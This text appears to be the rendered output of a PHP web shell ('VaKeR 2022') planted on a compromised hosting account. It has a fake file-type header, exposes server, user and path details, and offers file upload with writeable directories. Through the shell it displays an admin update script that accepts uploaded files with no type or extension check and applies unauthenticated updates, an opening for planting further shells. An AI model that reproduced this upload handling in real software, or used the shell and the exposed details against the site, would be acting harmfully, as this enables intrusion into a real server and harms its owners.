%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_6ca89795/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_6ca89795/admin/servicesupdatedata.php
<?php
include('../dbcon.php');

$sid = isset($_POST['sid']) ? intval($_POST['sid']) : 0;
$category_id = isset($_POST['category_id']) ? intval($_POST['category_id']) : 0;
$title = isset($_POST['title']) ? mysqli_real_escape_string($conn, $_POST['title']) : '';
$page_title = isset($_POST['page_title']) ? mysqli_real_escape_string($conn, $_POST['page_title']) : '';
$description = isset($_POST['description']) ? mysqli_real_escape_string($conn, $_POST['description']) : '';
$keywords = isset($_POST['keywords']) ? mysqli_real_escape_string($conn, $_POST['keywords']) : '';
$robots = isset($_POST['robots']) ? mysqli_real_escape_string($conn, $_POST['robots']) : '';
$canonical = isset($_POST['canonical']) ? mysqli_real_escape_string($conn, $_POST['canonical']) : '';
$titleslug = isset($_POST['titleslug']) ? mysqli_real_escape_string($conn, $_POST['titleslug']) : '';
$content = isset($_POST['content']) ? clean_content($_POST['content']) : '';
$content_ar = isset($_POST['content_ar']) ? clean_content($_POST['content_ar']) : '';
// Get current image if it exists
$current_images_query = mysqli_query($conn, "SELECT `image` FROM `services` WHERE `id` = $sid");
$current_images = mysqli_fetch_assoc($current_images_query);
$imageName = $current_images['image'];  

// Directory for uploading the new image
$uploadDir = './dataimg/';

function clean_content($content) {
    $content = trim($content); // Remove unnecessary spaces
    $content = str_replace("&nbsp;", " ", $content); // Remove non-breaking spaces
    $content = htmlspecialchars_decode($content, ENT_QUOTES); // Decode any existing HTML entities
    return mysqli_real_escape_string($GLOBALS['conn'], $content);
}
// Process new image upload if provided
if (!empty($_FILES['image']['name'])) {
    $imageName = basename($_FILES['image']['name']);
    $uploadPath = $uploadDir . $imageName;
    move_uploaded_file($_FILES['image']['tmp_name'], $uploadPath);
}

$sql = "UPDATE `services` SET 
    `category_id` = '$category_id',
    `title` = '$title',
    `page_title` = '$page_title',
    `description` = '$description',
    `keywords` = '$keywords',
    `robots` = '$robots',
    `canonical` = '$canonical',
    `titleslug` = '$titleslug',
    `content` = '$content',
    `content_ar` = '$content_ar',
    `image` = '$imageName'
    WHERE `id` = '$sid'";

$run = mysqli_query($conn, $sql);

if ($run) {
    echo "<script>
            alert('Data Updated Successfully');
            window.location.href='servicesshow.php';
          </script>";
} else {
    echo "<script>
            alert('Data Update Failed');
            window.history.back();
          </script>";
}
?>

VaKeR 2022